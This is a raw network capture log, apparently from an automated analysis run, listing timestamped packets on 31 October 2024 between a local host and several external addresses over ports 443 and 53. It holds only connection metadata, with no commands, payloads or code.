Oct 31, 2024 21:55:10.713411093 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:10.947107077 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.947186947 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.947246075 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.947782040 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.947788954 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.957962990 CET	443	53731	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.958210945 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.958236933 CET	443	53731	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.959105968 CET	443	53731	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.959172964 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.959445953 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.959445953 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.959481955 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.959506035 CET	443	53731	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.959554911 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.959786892 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.959809065 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.959882975 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.960134029 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.960140944 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.005585909 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.005666971 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.005718946 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.006316900 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.006339073 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.007857084 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.007944107 CET	443	53735	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.008028984 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.008353949 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.008387089 CET	443	53735	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.008740902 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.008793116 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.008851051 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.009082079 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.009102106 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.009362936 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.009391069 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.009454012 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.009656906 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.009671926 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.027282953 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.027513981 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.027527094 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.028626919 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.028701067 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.028959036 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.029011011 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.029103994 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.029110909 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.081475019 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.342629910 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.342740059 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.342849016 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.346878052 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.346915007 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.594527960 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.594810009 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.594821930 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.595690012 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.595758915 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.596051931 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.596095085 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.596204996 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.596211910 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.623275042 CET	443	53735	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.623469114 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.623496056 CET	443	53735	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.624352932 CET	443	53735	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.624433041 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.624706984 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.624726057 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.624766111 CET	443	53735	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.624778032 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.624820948 CET	53735	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.625052929 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.625087023 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.625181913 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.625353098 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.625361919 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.641146898 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.787735939 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.787985086 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.788006067 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.788289070 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.788575888 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.788629055 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.788695097 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:11.831340075 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:11.948148012 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.948194981 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:11.948246002 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.948642969 CET	53734	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:11.948652983 CET	443	53734	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:12.294173956 CET	49678	443	192.168.2.16	20.189.173.10
Oct 31, 2024 21:55:13.077344894 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.081379890 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.081628084 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.081693888 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.082015038 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.082319975 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.082406044 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.082444906 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.082568884 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.082739115 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.082755089 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.083038092 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.083304882 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.083370924 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.083395958 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.084150076 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.084166050 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.084229946 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.084254026 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.084315062 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.084891081 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.085067034 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.085078955 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.085901022 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.085930109 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.085964918 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.085971117 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.085999012 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.086726904 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.086796999 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.087064981 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.087145090 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.087178946 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.089520931 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.089540958 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.089579105 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.089586020 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.089612961 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.091981888 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.091995001 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.092062950 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.092072010 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.093048096 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.093135118 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.093177080 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.093189001 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.095448017 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.095479965 CET	443	53739	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.095558882 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.095860958 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.095873117 CET	443	53739	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.123357058 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.125168085 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.125169992 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.125176907 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.127332926 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.141154051 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.141166925 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.189166069 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.325773954 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.331379890 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.373951912 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.374025106 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.374077082 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.374485016 CET	53738	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:13.374494076 CET	443	53738	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:13.376332045 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.376346111 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.376425982 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.376616955 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.376626968 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.379151106 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.379184008 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.448925018 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.448942900 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.448996067 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.449014902 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.449032068 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.449044943 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.449054003 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.449079990 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.449103117 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.450727940 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.450743914 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.450795889 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.450922012 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.450932980 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.450989962 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.454648972 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.454658985 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.454691887 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.454700947 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.454713106 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.454729080 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.454777956 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.454817057 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.454818010 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.454848051 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.456377029 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.456393003 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.456464052 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.456481934 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.456546068 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.498615980 CET	51025	53	192.168.2.16	162.159.36.2
Oct 31, 2024 21:55:13.504398108 CET	53	51025	162.159.36.2	192.168.2.16
Oct 31, 2024 21:55:13.504504919 CET	51025	53	192.168.2.16	162.159.36.2
Oct 31, 2024 21:55:13.510364056 CET	53	51025	162.159.36.2	192.168.2.16
Oct 31, 2024 21:55:13.572700977 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.572732925 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.572777033 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.572797060 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.572804928 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.572860956 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.572870016 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.572920084 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.572926044 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.573076010 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.573146105 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.573152065 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.573276997 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.573321104 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.573523045 CET	53737	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.573532104 CET	443	53737	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.576251984 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.576308966 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.576387882 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.576622963 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.576642036 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.577507973 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.577529907 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.577573061 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.577585936 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.577615976 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.577636003 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.579308033 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.579328060 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.579372883 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.579381943 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.579407930 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.579426050 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.581720114 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.581734896 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.581805944 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.581815004 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.581866026 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.584063053 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.584076881 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.584153891 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:13.584161997 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:13.584207058 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.712311029 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.712325096 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.712371111 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.712413073 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.712447882 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.712467909 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.712502003 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.712671995 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.712688923 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.712724924 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.712733030 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.712748051 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.712771893 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.713395119 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.713416100 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.713457108 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.713464975 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:14.713494062 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.713514090 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:14.713805914 CET	51025	53	192.168.2.16	162.159.36.2
Oct 31, 2024 21:55:14.713884115 CET	51025	53	192.168.2.16	162.159.36.2
Oct 31, 2024 21:55:14.714202881 CET	51025	53	192.168.2.16	162.159.36.2
Oct 31, 2024 21:55:14.714566946 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:14.714632034 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:14.714690924 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:14.715167999 CET	443	53739	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:14.715399981 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.715423107 CET	443	53739	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:14.716293097 CET	443	53739	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:14.716350079 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.716644049 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.716662884 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.716697931 CET	443	53739	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:14.716718912 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.716752052 CET	53739	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.717071056 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.717088938 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:14.717164993 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.717350960 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:14.717359066 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:15.023168087 CET	51025	53	192.168.2.16	162.159.36.2
Oct 31, 2024 21:55:15.055171967 CET	51025	53	192.168.2.16	162.159.36.2
Oct 31, 2024 21:55:15.057967901 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.057980061 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058031082 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058057070 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.058089018 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058108091 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.058140993 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.058470964 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058486938 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058537960 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.058548927 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058574915 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.058589935 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.058842897 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058856964 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058903933 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.058912039 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.058950901 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.059340000 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.059355021 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.059413910 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.059422016 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.059462070 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.059824944 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.059839010 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.059890985 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.059899092 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.059935093 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.060204983 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.060220003 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.060269117 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.060277939 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.060328960 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.060988903 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.061003923 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.061074972 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.061083078 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.061131954 CET	53	51025	162.159.36.2	192.168.2.16
Oct 31, 2024 21:55:15.061147928 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.061650038 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.061665058 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.061716080 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.061723948 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.061764956 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.061985970 CET	53	51025	162.159.36.2	192.168.2.16
Oct 31, 2024 21:55:15.062041044 CET	51025	53	192.168.2.16	162.159.36.2
Oct 31, 2024 21:55:15.062514067 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.062527895 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.062582970 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.062591076 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.062633038 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.063558102 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.063571930 CET	443	53736	152.199.21.175	192.168.2.16
